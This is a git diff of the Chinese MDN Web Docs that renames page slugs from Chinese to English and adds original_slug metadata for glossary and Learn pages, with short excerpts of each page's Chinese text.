    弹性容器 {{glossary("flexbox")}} 的交叉轴和主轴 {{glossary("main axis")}} 垂直,因此如果弹性方向是 {{cssxref("flex-direction")}} 行 row 或者反向行 row-reverse ,那么交叉轴就是从上至下地垂直走向的。

    diff --git a/files/zh-cn/glossary/database/index.html b/files/zh-cn/glossary/database/index.html index d26907d711..5b0c1a3082 100644 --- a/files/zh-cn/glossary/database/index.html +++ b/files/zh-cn/glossary/database/index.html @@ -1,9 +1,10 @@ --- title: 数据库 -slug: Glossary/数据库 +slug: Glossary/Database tags: - 数据库 translation_of: Glossary/Database +original_slug: Glossary/数据库 ---

    数据库是一种用于收集已组织好的数据以便于搜索、结构化和扩充的存储系统。

    diff --git a/files/zh-cn/glossary/dhtml/index.html b/files/zh-cn/glossary/dhtml/index.html index c04ab59714..eac83d1582 100644 --- a/files/zh-cn/glossary/dhtml/index.html +++ b/files/zh-cn/glossary/dhtml/index.html @@ -1,7 +1,8 @@ --- title: DHTML -slug: DHTML +slug: Glossary/DHTML translation_of: Glossary/DHTML +original_slug: DHTML ---

    1、DHTML 对象 !DOCTYPE 指定了 HTML 文档遵循的文档类型定义(DTD)。

    a 标明超链接的起始或目的位置。

    diff --git a/files/zh-cn/glossary/digital_certificate/index.html b/files/zh-cn/glossary/digital_certificate/index.html index 0f6702c480..297334bfc6 100644 --- a/files/zh-cn/glossary/digital_certificate/index.html +++ b/files/zh-cn/glossary/digital_certificate/index.html @@ -1,7 +1,8 @@ --- title: 数字证书 -slug: Glossary/数字证书 +slug: Glossary/Digital_certificate translation_of: Glossary/Digital_certificate +original_slug: Glossary/数字证书 ---

    数字证书是一个将公开的{{Glossary("Key", "加密密钥")}}和一个组织绑定的数据文件。 一个数字证书包含一个组织的信息,如公共名称(例如mozilla.org),组织单元(例如Mozilla Corporation)以及位置(例如Mountain View)。数字证书通常由{{Glossary("certificate authority")}}签署,以证明其真实性。

    diff --git a/files/zh-cn/glossary/domain_name/index.html b/files/zh-cn/glossary/domain_name/index.html index cb88cc041b..8aea5446be 100644 --- a/files/zh-cn/glossary/domain_name/index.html +++ b/files/zh-cn/glossary/domain_name/index.html @@ -1,7 +1,8 @@ --- title: 域名 -slug: Glossary/域名 +slug: Glossary/Domain_name translation_of: Glossary/Domain_name +original_slug: Glossary/域名 ---

    域名是在 {{Glossary("Internet", "互联网")}} 的网站的地址。域名被用于 {{Glossary("URL","URL")}} 识别一个服务器属于哪个特定的网站。域名包含由句号点(”.“)分隔的名称(标签)的分级序列并以 {{glossary("TLD","扩展名")}} 作为结尾。

    diff --git a/files/zh-cn/glossary/element/index.html b/files/zh-cn/glossary/element/index.html index d199da5b07..c5ac84aedb 100644 --- a/files/zh-cn/glossary/element/index.html +++ b/files/zh-cn/glossary/element/index.html @@ -1,12 +1,13 @@ --- title: Element(元素) -slug: Glossary/元素 +slug: Glossary/Element tags: - HTML - XML - 术语 - 编程 translation_of: Glossary/Element +original_slug: Glossary/元素 ---

    元素是网页的一部分,在 {{glossary("XML")}} 和 {{glossary("HTML")}} 中,一个元素可以包含一个数据项,或是一块文本,或是一张照片,亦或是什么也不包含。 一个典型的元素包括一个具有一些{{glossary("attribute", "属性")}}的开始标签,中间的文本内容和一个结束标签。
    Example: in <p class="nice">Hello world!</p>, '<p class="nice">' is an opening tag, 'class="nice"' is an attribute and its value, 'Hello world!' is enclosed text content, and '</p>' is a closing tag.

    diff --git a/files/zh-cn/glossary/empty_element/index.html b/files/zh-cn/glossary/empty_element/index.html index 6d9fb8d229..38fd275e74 100644 --- a/files/zh-cn/glossary/empty_element/index.html +++ b/files/zh-cn/glossary/empty_element/index.html @@ -1,11 +1,12 @@ --- title: 空元素 -slug: Glossary/空元素 +slug: Glossary/Empty_element tags: - Glossary - 中级 - 词汇 translation_of: Glossary/Empty_element +original_slug: Glossary/空元素 ---

    一个空元素(empty element)可能是 HTML,SVG,或者 MathML 里的一个不能存在子节点(例如内嵌的元素或者元素内的文本)的{{Glossary("element")}}。

    diff --git a/files/zh-cn/glossary/forbidden_header_name/index.html b/files/zh-cn/glossary/forbidden_header_name/index.html index 6e14c9b0a1..022d54690f 100644 --- a/files/zh-cn/glossary/forbidden_header_name/index.html +++ b/files/zh-cn/glossary/forbidden_header_name/index.html @@ -1,7 +1,8 @@ --- title: 禁止修改的消息首部 -slug: Glossary/禁止修改的消息首部 +slug: Glossary/Forbidden_header_name translation_of: Glossary/Forbidden_header_name +original_slug: Glossary/禁止修改的消息首部 ---

    禁止修改的消息首部指的是不能在代码中通过编程的方式进行修改的HTTP协议消息首部。本文仅讨论相关的HTTP请求首部(关于禁止修改的响应首部,请参考 {{Glossary("Forbidden response header name")}})。

    diff --git a/files/zh-cn/glossary/general_header/index.html b/files/zh-cn/glossary/general_header/index.html index acb1f99edf..6c03d3605a 100644 --- a/files/zh-cn/glossary/general_header/index.html +++ b/files/zh-cn/glossary/general_header/index.html @@ -1,10 +1,11 @@ --- title: General header(通用首部) -slug: Glossary/通用首部 +slug: Glossary/General_header tags: - HTTP - 术语 translation_of: Glossary/General_header +original_slug: Glossary/通用首部 ---

    通用首部指的是可以应用于请求和响应中,但是不能应用于消息内容自身的 {{glossary('Header', 'HTTP 首部')}} 。 取决于应用的上下文环境,通用首部可以是{{glossary("Response header", "响应头部")}}或者{{glossary("request header", "请求头部")}}。但是不可以是{{glossary("entity header", "实体头部")}}。

    diff --git a/files/zh-cn/glossary/graceful_degradation/index.html b/files/zh-cn/glossary/graceful_degradation/index.html index acd22a665e..2982cc0074 100644 --- a/files/zh-cn/glossary/graceful_degradation/index.html +++ b/files/zh-cn/glossary/graceful_degradation/index.html @@ -1,11 +1,12 @@ --- title: Graceful degradation(优雅降级) -slug: Glossary/优雅降级 +slug: Glossary/Graceful_degradation tags: - 优雅降级 - 设计 - 词汇表 translation_of: Glossary/Graceful_degradation +original_slug: Glossary/优雅降级 ---

    优雅降级(Graceful degradation)是一种设计理念,其核心是尝试构建可在最新浏览器中运行的现代网站/应用程序,而作为降级体验,在低版本浏览器中仍然提供必要的内容和功能。

    diff --git a/files/zh-cn/glossary/http_header/index.html b/files/zh-cn/glossary/http_header/index.html index a79ef62498..e176995fc8 100644 --- a/files/zh-cn/glossary/http_header/index.html +++ b/files/zh-cn/glossary/http_header/index.html @@ -1,11 +1,12 @@ --- title: HTTP header(HTTP 首部) -slug: Glossary/Header +slug: Glossary/HTTP_header tags: - Glossary - HTTP - 术语 translation_of: Glossary/HTTP_header +original_slug: Glossary/Header ---

    HTTP header(HTTP 首部,HTTP 头)表示在 HTTP 请求或响应中的用来传递附加信息的字段,修改所传递的消息(或者消息主体)的语义,或者使其更加精确。消息首部不区分大小写,开始于一行的开头,后面紧跟着一个 ':' 和与之相关的值。字段值在一个换行符(CRLF)前或者整个消息的末尾结束。

    diff --git a/files/zh-cn/glossary/idempotent/index.html b/files/zh-cn/glossary/idempotent/index.html index cc8b22c143..e0dde60f23 100644 --- a/files/zh-cn/glossary/idempotent/index.html +++ b/files/zh-cn/glossary/idempotent/index.html @@ -1,10 +1,11 @@ --- title: 幂等 -slug: Glossary/幂等 +slug: Glossary/Idempotent tags: - Glossary - WebMechanics translation_of: Glossary/Idempotent +original_slug: Glossary/幂等 ---

    一个HTTP方法是幂等的,指的是同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。在正确实现的条件下, {{HTTPMethod("GET")}} , {{HTTPMethod("HEAD")}} , {{HTTPMethod("PUT")}} 和 {{HTTPMethod("DELETE")}}  等方法都是幂等的,而  {{HTTPMethod("POST")}}  方法不是。所有的 {{glossary("safe")}} 方法也都是幂等的。

    diff --git a/files/zh-cn/glossary/iife/index.html b/files/zh-cn/glossary/iife/index.html index 659d1e8670..1150a22614 100644 --- a/files/zh-cn/glossary/iife/index.html +++ b/files/zh-cn/glossary/iife/index.html @@ -1,12 +1,13 @@ --- title: IIFE(立即调用函数表达式) -slug: Glossary/立即执行函数表达式 +slug: Glossary/IIFE tags: - CodingScripting - Glossary - JavaScript - 术语 translation_of: Glossary/IIFE +original_slug: Glossary/立即执行函数表达式 ---

    IIFE( 立即调用函数表达式)是一个在定义时就会立即执行的  {{glossary("JavaScript")}} {{glossary("function","函数")}}。

    diff --git a/files/zh-cn/glossary/ip_address/index.html b/files/zh-cn/glossary/ip_address/index.html index 52686f1c20..396969dc8e 100644 --- a/files/zh-cn/glossary/ip_address/index.html +++ b/files/zh-cn/glossary/ip_address/index.html @@ -1,11 +1,12 @@ --- title: IP地址 -slug: Glossary/IP地址 +slug: Glossary/IP_Address tags: - IP地址 - 初学者 - 术语表 translation_of: Glossary/IP_Address +original_slug: Glossary/IP地址 ---

    IP地址是分配给连接到使用Internet协议的网络的每个设备的一串数字。

    diff --git a/files/zh-cn/glossary/localization/index.html b/files/zh-cn/glossary/localization/index.html index aafe809a5d..1ba3b8bed6 100644 --- a/files/zh-cn/glossary/localization/index.html +++ b/files/zh-cn/glossary/localization/index.html @@ -1,7 +1,8 @@ --- title: 本地化 -slug: Localization +slug: Glossary/Localization translation_of: Glossary/Localization +original_slug: Localization ---

    Localization (L10n) is the process of translating software user interfaces from one language to another and adapting it to suit a foreign culture. These resources are for anyone with an interest in the technical aspects involved in localization. They are for developers and all contributors.

    diff --git a/files/zh-cn/glossary/main_axis/index.html b/files/zh-cn/glossary/main_axis/index.html index c3c8b91de1..aaee256e7d 100644 --- a/files/zh-cn/glossary/main_axis/index.html +++ b/files/zh-cn/glossary/main_axis/index.html @@ -1,7 +1,8 @@ --- title: 主轴 -slug: Glossary/主轴 +slug: Glossary/Main_Axis translation_of: Glossary/Main_Axis +original_slug: Glossary/主轴 ---

    主轴是由弹性容器 {{glossary("flexbox")}} 中弹性方向 {{cssxref("flex-direction")}} 属性所定义的的。弹性方向 flex-direction  有4个可能的值,分别是:

    diff --git a/files/zh-cn/glossary/oop/index.html b/files/zh-cn/glossary/oop/index.html index 4f2793cc69..b4163352cd 100644 --- a/files/zh-cn/glossary/oop/index.html +++ b/files/zh-cn/glossary/oop/index.html @@ -1,11 +1,12 @@ --- title: OOP -slug: Glossary/面向对象编程 +slug: Glossary/OOP tags: - 初学者 - 术语 - 编写脚本 translation_of: Glossary/OOP +original_slug: Glossary/面向对象编程 ---

    OOP(面向对象编程)是一种编程方法,其中数据封装在{{glossary("object","对象")}}中,对象本身在其上运行,而不是其组成部分。

    diff --git a/files/zh-cn/glossary/origin/index.html b/files/zh-cn/glossary/origin/index.html index 83090ee98f..ed3ce153e8 100644 --- a/files/zh-cn/glossary/origin/index.html +++ b/files/zh-cn/glossary/origin/index.html @@ -1,7 +1,8 @@ --- title: Origin -slug: Glossary/源 +slug: Glossary/Origin translation_of: Glossary/Origin +original_slug: Glossary/源 ---

    Web内容的源由用于访问它的{{Glossary("URL")}} 的方案(协议),主机(域名)和端口定义。只有当方案,主机和端口都匹配时,两个对象具有相同的起源。

    diff --git a/files/zh-cn/glossary/progressive_enhancement/index.html b/files/zh-cn/glossary/progressive_enhancement/index.html index 7a0b586b9a..ebb2d01925 100644 --- a/files/zh-cn/glossary/progressive_enhancement/index.html +++ b/files/zh-cn/glossary/progressive_enhancement/index.html @@ -1,11 +1,12 @@ --- title: 渐进增强 -slug: Glossary/渐进增强 +slug: Glossary/Progressive_Enhancement tags: - 无障碍 - 设计 - 词汇表 translation_of: Glossary/Progressive_Enhancement +original_slug: Glossary/渐进增强 ---

    渐进增强(Progressive enhancement)是一种设计理念,其核心是为尽可能多的用户提供基本内容和功能,同时进一步为现代化浏览器用户提供最佳体验,运行所有需要的代码。

    diff --git a/files/zh-cn/glossary/proxy_server/index.html b/files/zh-cn/glossary/proxy_server/index.html index 86774d0a71..1e680cfedf 100644 --- a/files/zh-cn/glossary/proxy_server/index.html +++ b/files/zh-cn/glossary/proxy_server/index.html @@ -1,11 +1,12 @@ --- title: 代理服务器 -slug: Glossary/代理服务器 +slug: Glossary/Proxy_server tags: - 代理 - 服务器 - 术语 translation_of: Glossary/Proxy_server +original_slug: Glossary/代理服务器 ---

    代理服务器 是用来在不同Internet网络之间进行导航的中继软件或者计算机。 它们有助于访问万维网上的内容。代理服务器会拦截请求并提供响应;它不一定会转发所有请求(比如说在有缓存的情况), 而且也许会修改请求或者响应 (比如说在两个网络环境边界的时候修改请求头部信息)。

    diff --git a/files/zh-cn/glossary/pseudo-class/index.html b/files/zh-cn/glossary/pseudo-class/index.html index 56c818928f..066340f11a 100644 --- a/files/zh-cn/glossary/pseudo-class/index.html +++ b/files/zh-cn/glossary/pseudo-class/index.html @@ -1,11 +1,12 @@ --- title: 伪类 -slug: Glossary/伪类 +slug: Glossary/Pseudo-class tags: - CSS - 伪类 - 选择器 translation_of: Glossary/Pseudo-class +original_slug: Glossary/伪类 ---

    在 CSS 中, 一个伪类选择器只依据元素的状态, 而不是元素在文档树中的信息, 来选择目标对象.举例来说, 选择器 a{{ cssxref(":visited") }} 仅仅应用于那些用户已经浏览过的连接.

    diff --git a/files/zh-cn/glossary/request_header/index.html b/files/zh-cn/glossary/request_header/index.html index 666ace7ea4..82c98704fc 100644 --- a/files/zh-cn/glossary/request_header/index.html +++ b/files/zh-cn/glossary/request_header/index.html @@ -1,10 +1,11 @@ --- title: Request header(请求头) -slug: Glossary/请求头 +slug: Glossary/Request_header tags: - HTTP - 术语 translation_of: Glossary/Request_header +original_slug: Glossary/请求头 ---

    请求头是 {{glossary("header", "HTTP 头")}}的一种,它可在 HTTP 请求中使用,并且和请求主体无关 。某些请求头如 {{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language", "Accept-*")}}、 {{HTTPHeader("If-Modified-Since", "If-*")}} 允许执行条件请求。某些请求头如:{{HTTPHeader("Cookie")}}, {{HTTPHeader("User-Agent")}} 和 {{HTTPHeader("Referer")}} 描述了请求本身以确保服务端能返回正确的响应。

    diff --git a/files/zh-cn/glossary/semantics/index.html b/files/zh-cn/glossary/semantics/index.html index 54cb20f0b9..201d6e91c1 100644 --- a/files/zh-cn/glossary/semantics/index.html +++ b/files/zh-cn/glossary/semantics/index.html @@ -1,11 +1,12 @@ --- title: Semantics(语义) -slug: Glossary/语义 +slug: Glossary/Semantics tags: - 编程 - 语义 - 语义化 translation_of: Glossary/Semantics +original_slug: Glossary/语义 ---

    在编程中,语义指的是一段代码的含义 — 例如 "运行这行 JavaScript 代码会产生怎样的影响?", 或者 "这个 HTML 的元素有什么作用,扮演了什么样的角色"(而不只是 "它看上去像是什么?"。)

    diff --git a/files/zh-cn/glossary/serialization/index.html b/files/zh-cn/glossary/serialization/index.html index 8405434f3e..1a90c7754a 100644 --- a/files/zh-cn/glossary/serialization/index.html +++ b/files/zh-cn/glossary/serialization/index.html @@ -1,12 +1,13 @@ --- title: Serialize -slug: Glossary/Serialize +slug: Glossary/Serialization tags: - Glossary - JavaScript - Serialize translation_of: Glossary/Serialization translation_of_original: Glossary/Serialize +original_slug: Glossary/Serialize ---

    序列化(Serialization )意味着将 {{Glossary("object", "对象")}} 或某种其他类型的数据结构转换为可存储格式(例如,文件或 {{Glossary("buffer")}})。

    diff --git a/files/zh-cn/glossary/simple_header/index.html b/files/zh-cn/glossary/simple_header/index.html index c2c1f71d4f..846fc193cd 100644 --- a/files/zh-cn/glossary/simple_header/index.html +++ b/files/zh-cn/glossary/simple_header/index.html @@ -1,11 +1,12 @@ --- title: 简单头部 -slug: Glossary/简单头部 +slug: Glossary/Simple_header tags: - HTTP - 简单头部 - 跨域 translation_of: Glossary/Simple_header +original_slug: Glossary/简单头部 ---

    以下的 HTTP headers都可以被认为是简单头部:

    diff --git a/files/zh-cn/glossary/sloppy_mode/index.html b/files/zh-cn/glossary/sloppy_mode/index.html index 3856bd5b35..24df3556d6 100644 --- a/files/zh-cn/glossary/sloppy_mode/index.html +++ b/files/zh-cn/glossary/sloppy_mode/index.html @@ -1,7 +1,8 @@ --- title: 正常模式 -slug: Glossary/正常模式 +slug: Glossary/Sloppy_mode translation_of: Glossary/Sloppy_mode +original_slug: Glossary/正常模式 ---

    因为翻译原因,正常模式也被翻译为——马虎模式/稀松模式/懒散模式

    diff --git a/files/zh-cn/glossary/speculative_parsing/index.html b/files/zh-cn/glossary/speculative_parsing/index.html index bded58d8fd..6d3b064353 100644 --- a/files/zh-cn/glossary/speculative_parsing/index.html +++ b/files/zh-cn/glossary/speculative_parsing/index.html @@ -1,7 +1,8 @@ --- title: 对页面预解析进行优化 -slug: Web/HTML/Optimizing_your_pages_for_speculative_parsing +slug: Glossary/speculative_parsing translation_of: Glossary/speculative_parsing +original_slug: Web/HTML/Optimizing_your_pages_for_speculative_parsing ---

    在传统的浏览器中,HTML 解析器运行于主线程之中,并且在遇到 </script> 标签后会被阻塞,直到脚本从网络中被获取和执行。 Firefox 4 和后续的版本支持从主线程中分离的预解析技术。 当脚本在获取和执行的过程中,预解析技术能提前解析HTML文档。在Firefox 3.5 和 3.6中, HTML 解析器能够在文档流中预先加载脚本、层叠样式表和图片。然而, 在Firefox 4 和后续的版本中 HTML 解析器也预先运行HTML 树构建算法。 这一举措的优点是当预解析成功后,就没有必要再重新解析已经扫描过并且成功下载的脚本,层叠样式表和图片;缺点就是当预解析失败之后,有很多工作需要去做。

    diff --git a/files/zh-cn/glossary/time_to_first_byte/index.html b/files/zh-cn/glossary/time_to_first_byte/index.html index 8bcc8f0ce9..2fbd4fa934 100644 --- a/files/zh-cn/glossary/time_to_first_byte/index.html +++ b/files/zh-cn/glossary/time_to_first_byte/index.html @@ -1,7 +1,8 @@ --- title: 第一字节时间 -slug: Glossary/第一字节时间 +slug: Glossary/time_to_first_byte translation_of: Glossary/time_to_first_byte +original_slug: Glossary/第一字节时间 ---

    第一字节时间(TTFB)是指从浏览器请求页面到从浏览器接收来自服务器发送的信息的第一个字节的时间。这一次包括DNS查找和使用(三次)TCP握手和SSL握手建立连接(如果请求是通过https发出的)。

    diff --git a/files/zh-cn/glossary/type_conversion/index.html b/files/zh-cn/glossary/type_conversion/index.html index 7d1eb4c23e..863855caad 100644 --- a/files/zh-cn/glossary/type_conversion/index.html +++ b/files/zh-cn/glossary/type_conversion/index.html @@ -1,11 +1,12 @@ --- title: Type conversion(类型转换) -slug: Glossary/类型转换 +slug: Glossary/Type_Conversion tags: - Type - 术语 - 类型 translation_of: Glossary/Type_Conversion +original_slug: Glossary/类型转换 ---

    类型转换(或类型变换;英文:Type conversion, typecasting)是指将数据由一种类型变换为另一种类型。在编译器自动赋值时,会发生隐式转换,但在代码中,也可以用一些写法强制要求进行显式转换。例如:在表达式 5 + 2.0 中,整数 5 被隐式转换为浮点数,但 Number("0x11") 和 "0x11" 则被显式转换为数字 17。

    diff --git a/files/zh-cn/glossary/xhtml/index.html b/files/zh-cn/glossary/xhtml/index.html index e562ccca94..276b4aed22 100644 --- a/files/zh-cn/glossary/xhtml/index.html +++ b/files/zh-cn/glossary/xhtml/index.html @@ -1,7 +1,8 @@ --- title: XHTML -slug: XHTML +slug: Glossary/XHTML translation_of: Glossary/XHTML +original_slug: XHTML ---

    W3C标准 XHTML

    diff --git a/files/zh-cn/learn/accessibility/css_and_javascript/index.html b/files/zh-cn/learn/accessibility/css_and_javascript/index.html index bdc3b01b2e..a7177d31be 100644 --- a/files/zh-cn/learn/accessibility/css_and_javascript/index.html +++ b/files/zh-cn/learn/accessibility/css_and_javascript/index.html @@ -1,6 +1,6 @@ --- title: CSS 和 JavaScript 无障碍最佳实践 -slug: learn/Accessibility/CSS和JavaScript +slug: Learn/Accessibility/CSS_and_JavaScript tags: - CSS - hiding @@ -13,6 +13,7 @@ tags: - 编码脚本 - 颜色 translation_of: Learn/Accessibility/CSS_and_JavaScript +original_slug: learn/Accessibility/CSS和JavaScript ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/accessibility/html/index.html b/files/zh-cn/learn/accessibility/html/index.html index beeb753338..2f3786fbaa 100644 --- a/files/zh-cn/learn/accessibility/html/index.html +++ b/files/zh-cn/learn/accessibility/html/index.html @@ -1,7 +1,8 @@ --- title: 'HTML: 为可访问性提供一个良好的基础' -slug: 'learn/Accessibility/HTML:为可访问性提供一个良好的基础' +slug: Learn/Accessibility/HTML translation_of: Learn/Accessibility/HTML +original_slug: learn/Accessibility/HTML:为可访问性提供一个良好的基础 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/accessibility/multimedia/index.html b/files/zh-cn/learn/accessibility/multimedia/index.html index 660ebca836..4d496aabbc 100644 --- a/files/zh-cn/learn/accessibility/multimedia/index.html +++ b/files/zh-cn/learn/accessibility/multimedia/index.html @@ -1,7 +1,8 @@ --- title: 多媒体的可访问性(Accessible multimedia) -slug: learn/Accessibility/多媒体 +slug: Learn/Accessibility/Multimedia translation_of: Learn/Accessibility/Multimedia +original_slug: learn/Accessibility/多媒体 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/common_questions/available_text_editors/index.html b/files/zh-cn/learn/common_questions/available_text_editors/index.html index f8f394191d..0262d3075b 100644 --- a/files/zh-cn/learn/common_questions/available_text_editors/index.html +++ b/files/zh-cn/learn/common_questions/available_text_editors/index.html @@ -1,7 +1,8 @@ --- title: 什么文本编辑器比较好用? -slug: Learn/Common_questions/实用文本编辑器 +slug: Learn/Common_questions/Available_text_editors translation_of: Learn/Common_questions/Available_text_editors +original_slug: Learn/Common_questions/实用文本编辑器 ---
    {{IncludeSubnav("/en-US/Learn")}}
    diff --git a/files/zh-cn/learn/common_questions/how_does_the_internet_work/index.html b/files/zh-cn/learn/common_questions/how_does_the_internet_work/index.html index ab8eee6e1a..4a97efee07 100644 --- a/files/zh-cn/learn/common_questions/how_does_the_internet_work/index.html +++ b/files/zh-cn/learn/common_questions/how_does_the_internet_work/index.html @@ -1,7 +1,8 @@ --- title: 互联网是如何工作的 -slug: learn/How_the_Internet_works +slug: Learn/Common_questions/How_does_the_Internet_work translation_of: Learn/Common_questions/How_does_the_Internet_work +original_slug: learn/How_the_Internet_works ---

     这篇文章讨论什么是互联网以及它是如何工作的.

    diff --git a/files/zh-cn/learn/common_questions/what_are_browser_developer_tools/index.html b/files/zh-cn/learn/common_questions/what_are_browser_developer_tools/index.html index 69081b9745..2626700a44 100644 --- a/files/zh-cn/learn/common_questions/what_are_browser_developer_tools/index.html +++ b/files/zh-cn/learn/common_questions/what_are_browser_developer_tools/index.html @@ -1,10 +1,11 @@ --- title: 什么是浏览器开发者工具? -slug: Learn/Discover_browser_developer_tools +slug: Learn/Common_questions/What_are_browser_developer_tools tags: - 开发工具 - 调试 translation_of: Learn/Common_questions/What_are_browser_developer_tools +original_slug: Learn/Discover_browser_developer_tools ---

    每一个现代网络浏览器都包含一套强大的开发工具套件。这些工具可以检查当前加载的HTML、CSS和JavaScript,显示每个资源页面的请求以及载入所花费的时间。本文阐述了如何利用浏览器的开发工具的基本功能。

    diff --git a/files/zh-cn/learn/css/building_blocks/a_cool_looking_box/index.html b/files/zh-cn/learn/css/building_blocks/a_cool_looking_box/index.html index 6ddd1d114b..7e2fca613e 100644 --- a/files/zh-cn/learn/css/building_blocks/a_cool_looking_box/index.html +++ b/files/zh-cn/learn/css/building_blocks/a_cool_looking_box/index.html @@ -1,7 +1,8 @@ --- title: 一个漂亮的盒子 -slug: Learn/CSS/Styling_boxes/A_cool_looking_box +slug: Learn/CSS/Building_blocks/A_cool_looking_box translation_of: Learn/CSS/Building_blocks/A_cool_looking_box +original_slug: Learn/CSS/Styling_boxes/A_cool_looking_box ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html b/files/zh-cn/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html index 692071dfde..14bad4558c 100644 --- a/files/zh-cn/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html +++ b/files/zh-cn/learn/css/building_blocks/creating_fancy_letterheaded_paper/index.html @@ -1,7 +1,8 @@ --- title: 创建精美的信纸 -slug: Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper +slug: Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper translation_of: Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper +original_slug: Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/building_blocks/fundamental_css_comprehension/index.html b/files/zh-cn/learn/css/building_blocks/fundamental_css_comprehension/index.html index b246af87fe..b70839097d 100644 --- a/files/zh-cn/learn/css/building_blocks/fundamental_css_comprehension/index.html +++ b/files/zh-cn/learn/css/building_blocks/fundamental_css_comprehension/index.html @@ -1,12 +1,13 @@ --- title: 基本的CSS理解 -slug: Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension +slug: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension tags: - 初学者 - 盒模型 - 评估 - 选择器 translation_of: Learn/CSS/Building_blocks/Fundamental_CSS_comprehension +original_slug: Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/building_blocks/handling_different_text_directions/index.html b/files/zh-cn/learn/css/building_blocks/handling_different_text_directions/index.html index f907c93a3c..58b9c5a12e 100644 --- a/files/zh-cn/learn/css/building_blocks/handling_different_text_directions/index.html +++ b/files/zh-cn/learn/css/building_blocks/handling_different_text_directions/index.html @@ -1,7 +1,8 @@ --- title: 处理不同方向的文本 -slug: Learn/CSS/Building_blocks/处理_不同_方向的_文本 +slug: Learn/CSS/Building_blocks/Handling_different_text_directions translation_of: Learn/CSS/Building_blocks/Handling_different_text_directions +original_slug: Learn/CSS/Building_blocks/处理_不同_方向的_文本 ---
    {{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks/Overflowing_content", "Learn/CSS/Building_blocks")}}
    diff --git a/files/zh-cn/learn/css/css_layout/legacy_layout_methods/index.html b/files/zh-cn/learn/css/css_layout/legacy_layout_methods/index.html index 58313b6fdd..958a6626ea 100644 --- a/files/zh-cn/learn/css/css_layout/legacy_layout_methods/index.html +++ b/files/zh-cn/learn/css/css_layout/legacy_layout_methods/index.html @@ -1,7 +1,8 @@ --- title: 传统的布局方法 -slug: Learn/CSS/CSS_layout/传统的布局方法 +slug: Learn/CSS/CSS_layout/Legacy_Layout_Methods translation_of: Learn/CSS/CSS_layout/Legacy_Layout_Methods +original_slug: Learn/CSS/CSS_layout/传统的布局方法 ---
    {{LearnSidebar}}
    diff --git a/files/zh-cn/learn/css/css_layout/positioning/index.html b/files/zh-cn/learn/css/css_layout/positioning/index.html index cbfa094300..3965d4bef1 100644 --- a/files/zh-cn/learn/css/css_layout/positioning/index.html +++ b/files/zh-cn/learn/css/css_layout/positioning/index.html @@ -1,6 +1,6 @@ --- title: 定位 -slug: Learn/CSS/CSS_layout/定位 +slug: Learn/CSS/CSS_layout/Positioning tags: - CSS - 初学者 @@ -10,6 +10,7 @@ tags: - 相对定位 - 绝对定位 translation_of: Learn/CSS/CSS_layout/Positioning +original_slug: Learn/CSS/CSS_layout/定位 ---

    {{LearnSidebar}}

    diff --git a/files/zh-cn/learn/css/first_steps/getting_started/index.html b/files/zh-cn/learn/css/first_steps/getting_started/index.html index 0a6087ee12..d8a315fba4 100644 --- a/files/zh-cn/learn/css/first_steps/getting_started/index.html +++ b/files/zh-cn/learn/css/first_steps/getting_started/index.html @@ -1,6 +1,6 @@ --- title: 让我们开始CSS的学习之旅 -slug: Learn/CSS/First_steps/开始 +slug: Learn/CSS/First_steps/Getting_started tags: - CSS - 元素 @@ -9,6 +9,7 @@ tags: - 类 - 选择器 translation_of: Learn/CSS/First_steps/Getting_started +original_slug: Learn/CSS/First_steps/开始 ---

    {{LearnSidebar}}

    diff --git a/files/zh-cn/learn/css/first_steps/how_css_works/index.html b/files/zh-cn/learn/css/first_steps/how_css_works/index.html index 7aafcf481f..7bdf4bef5e 100644 --- a/files/zh-cn/learn/css/first_steps/how_css_works/index.html +++ b/files/zh-cn/learn/css/first_steps/how_css_works/index.html @@ -1,6 +1,6 @@ --- title: CSS如何运行 -slug: Learn/CSS/First_steps/CSS如何运行 +slug: Learn/CSS/First_steps/How_CSS_works tags: - CSS - DOM @@ -8,6 +8,7 @@ tags: - 无效的CSS代码 - 解析 translation_of: Learn/CSS/First_steps/How_CSS_works +original_slug: Learn/CSS/First_steps/CSS如何运行 ---

    {{LearnSidebar}}
    {{PreviousMenuNext("Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps/Using_your_new_knowledge", "Learn/CSS/First_steps")}}

    diff --git a/files/zh-cn/learn/css/howto/css_faq/index.html b/files/zh-cn/learn/css/howto/css_faq/index.html index 0e0593054b..1c9fb7478a 100644 --- a/files/zh-cn/learn/css/howto/css_faq/index.html +++ b/files/zh-cn/learn/css/howto/css_faq/index.html @@ -1,7 +1,8 @@ --- title: CSS 常见问题 -slug: Web/CSS/Common_CSS_Questions +slug: Learn/CSS/Howto/CSS_FAQ translation_of: Learn/CSS/Howto/CSS_FAQ +original_slug: Web/CSS/Common_CSS_Questions ---

    为什么我有效的CSS没有正确的渲染?

    diff --git a/files/zh-cn/learn/css/howto/generated_content/index.html b/files/zh-cn/learn/css/howto/generated_content/index.html index f3f9a0797b..d7cbe8761d 100644 --- a/files/zh-cn/learn/css/howto/generated_content/index.html +++ b/files/zh-cn/learn/css/howto/generated_content/index.html @@ -1,7 +1,8 @@ --- title: Content -slug: Web/Guide/CSS/Getting_started/Content +slug: Learn/CSS/Howto/Generated_content translation_of: Learn/CSS/Howto/Generated_content +original_slug: Web/Guide/CSS/Getting_started/Content ---

    {{ CSSTutorialTOC() }}

